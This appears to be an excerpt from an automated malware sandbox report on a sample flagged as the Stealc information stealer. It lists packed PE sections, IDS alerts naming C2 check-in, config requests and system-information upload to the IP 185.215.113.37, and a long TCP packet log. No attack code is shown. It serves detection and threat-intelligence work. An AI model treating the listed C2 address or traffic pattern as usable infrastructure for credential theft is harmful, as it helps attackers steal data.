.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x295000	0x200	b3741fad4dedde481546d9c36cb9be9f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
toxgxdkd	0x4f3000	0x197000	0x196800	85ed0b31ee1497ea2d82297ce30666e7	False	0.9950180898293358	data	7.95303135260071	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
afiwspdn	0x68a000	0x1000	0x400	cfa869e6f6d0781608cc76d3818599ab	False	0.7177734375	data	5.710297013277999	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x68b000	0x3000	0x2200	3e37d039b0af72a55ceef6271f419339	False	0.06606158088235294	DOS executable (COM)	0.694447935168786	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-25T01:27:09.255688+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-25T01:27:09.536542+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-25T01:27:09.543815+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.6	49711	TCP
2024-10-25T01:27:09.818521+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-25T01:27:09.825713+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.6	49711	TCP
2024-10-25T01:27:10.929684+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-25T01:27:12.216008+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-25T01:27:21.189700+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-25T01:27:22.344887+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-25T01:27:22.945537+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-25T01:27:23.384342+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-25T01:27:24.209616+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-25T01:27:24.536238+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49711	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 25, 2024 01:27:08.056060076 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:08.061506987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:08.061615944 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:08.063749075 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:08.069125891 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:08.958987951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:08.959223032 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:08.962516069 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:08.967916965 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:09.255624056 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:09.255687952 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:09.256798983 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:09.262123108 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:09.536464930 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:09.536499977 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:09.536541939 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:09.536632061 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:09.538461924 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:09.543814898 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:09.818454027 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:09.818487883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:09.818505049 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:09.818521023 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:09.818521023 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:09.818536997 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:09.818561077 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:09.818578005 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:09.818609953 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:09.818609953 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:09.818650961 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:09.820441961 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:09.825712919 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:10.099229097 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:10.099309921 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:10.130680084 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:10.130733967 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:10.136125088 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:10.136173010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:10.136185884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:10.136198997 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:10.136221886 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:10.136295080 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:10.136307955 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:10.929573059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:10.929683924 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:11.938026905 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:11.943382978 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.215900898 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.215948105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.215964079 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.215981007 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.215996981 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.216007948 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.216176987 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.216177940 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.216238022 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.216309071 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.216321945 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.216325045 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.216353893 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.216371059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.216388941 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.216392040 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.216414928 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.216442108 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.217201948 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.217250109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.370723963 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.370743036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.370835066 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.370874882 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.370888948 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.370918989 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.370949030 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.370971918 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.371021986 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.371057987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.371074915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.371088982 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.371097088 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.371124029 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.371789932 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.371808052 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.371822119 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.371865988 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.371865988 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.371870041 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.371885061 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.371912003 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.371938944 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.372484922 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.372505903 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.372522116 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.372534037 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.372567892 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.372567892 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.372936010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.372980118 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.372991085 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.372997046 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.373025894 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.373059988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.373075962 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.373097897 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.373097897 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.373131037 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.373946905 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.373969078 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.373984098 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.374016047 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.374042988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.374043941 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.374059916 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.374084949 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.374113083 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.525945902 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.525965929 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.526043892 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.526055098 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.526070118 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.526139021 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.526139021 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.526139021 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.526154041 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.526196957 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.526196957 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.526213884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.526237011 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.526257038 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.526448011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.526462078 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.526515961 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.526515961 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.526572943 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.526613951 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.526637077 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.526654005 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.526700020 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.526706934 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.526721954 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.526741028 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.526768923 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.527110100 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.527152061 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.527163029 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.527179003 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.527204990 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.527236938 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.527275085 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.527292967 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.527308941 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.527333021 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.527333021 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.527334929 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.527362108 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.527395964 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.528013945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.528040886 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.528057098 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.528065920 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.528104067 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.528104067 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.528162003 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.528178930 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.528193951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.528202057 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.528209925 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.528238058 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.528239012 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.528273106 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.532159090 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.532179117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.532196999 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.532208920 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.532216072 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.532232046 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.532233953 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.532233953 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.532248974 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.532265902 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.532265902 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.532289028 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.532289028 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.532304049 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.532310009 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.532327890 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.532344103 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.532352924 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.532360077 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.532376051 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.532377005 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.532392979 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.532398939 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.532409906 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.532433987 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.532453060 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.532468081 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.532483101 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.532497883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.532510042 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.532515049 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.532532930 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.532533884 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.532548904 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.532561064 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.532591105 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.681181908 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.681240082 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.681250095 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.681307077 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.681945086 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.681971073 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.681986094 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.681998014 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.682039022 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.682039022 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.682066917 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.682082891 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.682099104 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.682101965 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.682116032 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.682126999 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.682143927 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.682163000 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.682245016 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.682286978 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.682317019 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.682332993 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.682353020 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.682375908 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.682404041 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.682419062 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.682434082 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.682442904 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.682451963 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.682476997 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.682476997 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.682488918 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.682504892 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.682523012 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.682847977 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.682905912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.682921886 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.682926893 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.682960987 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.682966948 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.682984114 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.683010101 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.683041096 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.683271885 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.683295965 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.683310986 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.683343887 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.683343887 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.683377981 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.683406115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.683419943 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.683434963 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.683453083 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.683469057 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.683753014 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.683804035 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.683809996 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.683825970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.683871984 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.683871984 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.683919907 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.683934927 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.683949947 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.683964968 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.683968067 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.684133053 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.684134007 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.684144974 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.684159994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.684175014 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.684195042 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.684221983 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.684621096 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.684670925 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.684676886 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.684693098 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.684726954 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.684732914 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.684748888 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.684753895 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.684766054 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:12.684777021 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:12.684792995 CEST	49711	80	192.168.2.6	185.215.113.37
